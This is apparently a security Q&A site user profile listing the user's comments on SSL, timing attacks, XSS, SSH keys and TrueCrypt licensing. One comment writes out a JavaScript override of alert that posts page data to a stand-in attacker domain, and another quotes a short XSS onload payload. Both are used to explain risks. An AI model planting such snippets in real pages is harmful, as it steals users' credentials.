19,309 reputation
23291
bio website
location Brooklyn, NY
age 33
visits member for 3 years, 2 months
seen 1 hour ago
Good Morning how are you, I'm dr jimbob
I'm interested in things.
I'm not a real dr,
But I am a real jim bob.

Have a PhD in Experimental High-Energy Physics, but left academia in mid-2010 to program professionally.

Mostly program/script in python, django, and jquery these days doing mostly web apps.

Also have experience programming in C, C++, java, haskell, php, and (bash) shell more in the past.

Linux as primary OS since 1999, ubuntu user since 2005 (Hoary).


Jul
25
comment How easy is it to crack this encryption algorithm?
@Gilles - Thanks for the suggestion!
Jul
24
comment Can I test/determine all decryption types on an unkown filetype. I do have the password
This question is fundamentally unanswerable. A well-encrypted file is indistinguishable from random data without knowledge of the key or existing meta-data (which there appears to be none) that explains how it was encrypted.
Jul
22
comment Does the SSL termination happen with the ISP or a mobile service provider?
DNS (and ARP) spoofing has nothing to do with SSL or encryption. Yes, it's how you would do a MitM attack on HTTP (no encryption) or with HTTPS if the attacker has gotten their hands on a private SSL key for the faked domain (either through trickery, getting people to trust a bad certificate, actually stealing a certificate, or compromising a CA into signing fake certificates).
Jul
11
comment Any example where client certification is required?
@tangrs - Yes. If you go to startssl.com and try to create a free SSL certificate (e.g., for your website), they'll require you to first generate a SSL certificate for client authentication (to login) with startssl.com instead of a password.
Jun
30
comment Books to start the study of TCP/IP
I wouldn't dive deep into TCP/IP until you've studied survey-level networking. I highly recommend the free coursera networking course and liked Kurose/Ross - Computer Networking (under $20 on amazon if you get used copy of the 5th edition (2009)). Also, if you are mostly interested in security stuff, but find networking basics a bit dry at first, then maybe look at the Web Application Hacker's Handbook for fun, quickly-applicable intro to security in web apps that often introduces some basics (mostly application layer).
Jun
22
comment unfamiliar IP when logging into ssh server
If you don't want to resolve IP addresses to host names (which will often contain the IP address in reverse order), simply use w -i (with GNU tools) or netstat -n.
Jun
18
comment How to recognize if someone using password Reminder Script
Much better now. +1
Jun
18
comment How to recognize if someone using password Reminder Script
I did read your answer. But you rarely execute javascript in a vacuum; there are numerous scripts already running on the page, often from diverse sources -- e.g., on stackexchange I count some 14 scripts running plus JS extensions (granted there's some sandboxing of environments). An attacker potentially could redefine alert in one of those places that would turn this otherwise benign script into something devastating. My point is you can't call a JS snippet "safe" when JS is dynamic enough to let core functions be redefined.
Jun
18
comment How to recognize if someone using password Reminder Script
"The javascript you gave here cannot hack your account" - that's not necessarily true. An attacker may have early in the page overloaded alert(msg) (a standard JS function that generates a pop-up window with a text message) with something else. For example, try defining alert = function(x) { console.log(x) } and use an alert later on. The attackers version could be something like: alert = function(x) { jQuery.post('http://attacker-controlled-website.tk', {uri: document.baseURI, msg: x}) Then when the alert is called, your password and related info is sent off to the attacker.
Jun
12
comment Timing-safe string comparison in high-level languages
@Fleche - As for using constant-time functions for defense-in-depth, attacks aren't always intuitively obvious; e.g., the recent paper (note Shamir, the S of RSA is a co-author) where RSA in GnuPG (which used non-constant time modular exponentiation) was broken by using a mobile telephone's microphone to listen to a laptop decrypting things with RSA from across a room.
Jun
12
comment Timing-safe string comparison in high-level languages
@Fleche - With a suitably long salt unknown to the attacker (e.g., bcrypt's 128-bit salt), AFAIK you do not have to worry about timing attacks. That said, constant-time string comparison strikes me as the right thing to do for defense-in-depth and a good habit. I don't like take a hash of the your hash and do non-constant time comparison. All you've done is effectively change the hash function from bcrypt to sha256 of bcrypt and any timing attack that could have been done on bcrypt can now be done on sha256 of bcrypt.
Jun
9
comment How is this XSS attack working?
@RahilArora - XSS prevention will prevent you from escaping out of the attribute tag. E.g., if you had <img src="{{ somevar }}"> you wouldn't be able to escape to get to <img src="#" onload="alert('XSS')">. The problem in this case is inserting untrusted input into the middle of a JS function in an HTML attribute.
Jun
8
comment A manual function for hasing identity?
The original study (Sweeney 2000) found 87% of people are identifiable by zip code + gender + year/month/date of birth and a followup study found 63% identifiable by those criteria.
Jun
6
comment How can I secure my wireless network from neighbor's password-cracking attempts?
@D.W. - I'd suggest using your favorite search engine and search for (name of router) + "backdoor". Granted you may want to be careful doing this, could be used as evidence you tried to hack someone. Alternatively, use a router with open-source firmware like DD-WRT / OpenWRT, which presumably do not have obvious backdoors. (Granted OpenSSL is open-source and had heartbleed and several more recent problems for a long time, so open-source while preferred isn't perfectly secure).
Jun
5
comment In there any point in passphrase-protecting an SSH private key that is used by a service account?
@Kal - Sure. But I usually just run the cronjob as root. E.g., sudo crontab -e add a line where the command is 34 1 * * * /usr/bin/ssh -i /root/remote_host_cron_job_id_rsa user@remote_host and have the private key pair only root readable. This of course assumes I have root access. Yes this opens up an attack surface (if an attacker could replace the binary /usr/bin/ssh with something malicious, you get to run a binary as root when the cronjob next executes). It's better to set up another limited account client side that runs the cronjob and is the only user to read the key.
May
31
comment Are there any reasonable TrueCrypt forks?
@ignis the only concerns that I have seen that are shown to originate from legal council talk about the state of the license in 2.5 in Oct 2008. The two so-called trap paragraphs were significantly changed to specifically address those concerns. See comments to IstvanChung in other thread. Granted, as I pointed out above paragraph VI.2 seems questionable. But then its not a question of being able to fork truecrypt, its being able to legally use truecrypt.
May
31
comment Are there any reasonable TrueCrypt forks?
Again, legal discussion of an old version that was significantly changed is largely irrelevant. Similarly analysis of whether you are free to create a forked version (subject to some potentially annoying constraints) versus whether its sensible for a commercial entity to include it in their linux distribution (that they reserve the right to charge for) is a very different matter.
May
31
comment Are there any reasonable TrueCrypt forks?
@IstvanChung - Discussion of the TC License 2.5 is largely irrelevant as TC7 was released under 3.0. The two "trap" paragraphs Sec VI para 2, 3 are significantly altered, e.g., "NOTHING IN THIS LICENSE SHALL IMPLY OR BE CONSTRUED AS A PROMISE, ... NOT TO SUE FOR COPYRIGHT OR TRADEMARK INFRINGEMENT IF YOU DO NOT COMPLY WITH THE TERMS AND CONDITIONS OF THIS LICENSE. Missing that clause it does very much look like a trap. With that clause the trap seems much harder to legally defend. Similarly, paragraph 3 is qualified with "except as may be otherwise expressly provided in this License."
May
30
comment Are there any reasonable TrueCrypt forks?
Granted, you may not want to as their license kind of sucks in that it is quite restrictive compared to better licenses like BSD, MIT, or even GPL. I do agree that I would question including/distributing the TrueCrypt software in my linux distribution for potential legal reasons, especially if their is a commercial version of your software. But that's a separate issue. Note if you read through their legalese, the grounds to modify are equal to the grounds to use it unmodified. Granted, I'm not a lawyer, so don't take this as legal advice.
May
30
comment Are there any reasonable TrueCrypt forks?
@MichaelHampton - Again, I'm not a lawyer. I agree the license doesn't qualify OSI's "open source" or FSF's "free". But that's very different to "modifications and redistribution are not permitted". The clause you referred to about copyright infringement states "YOU MAY NOT USE, MODIFY ... EXCEPT AS EXPRESSLY PROVIDED IN THIS LICENSE". There is a huge section on the criteria to be able to modify it. I think if you followed their conditions you can distribute a modify version (credit truecrypt, don't use their name, distribute your source for free, keep their license, etc).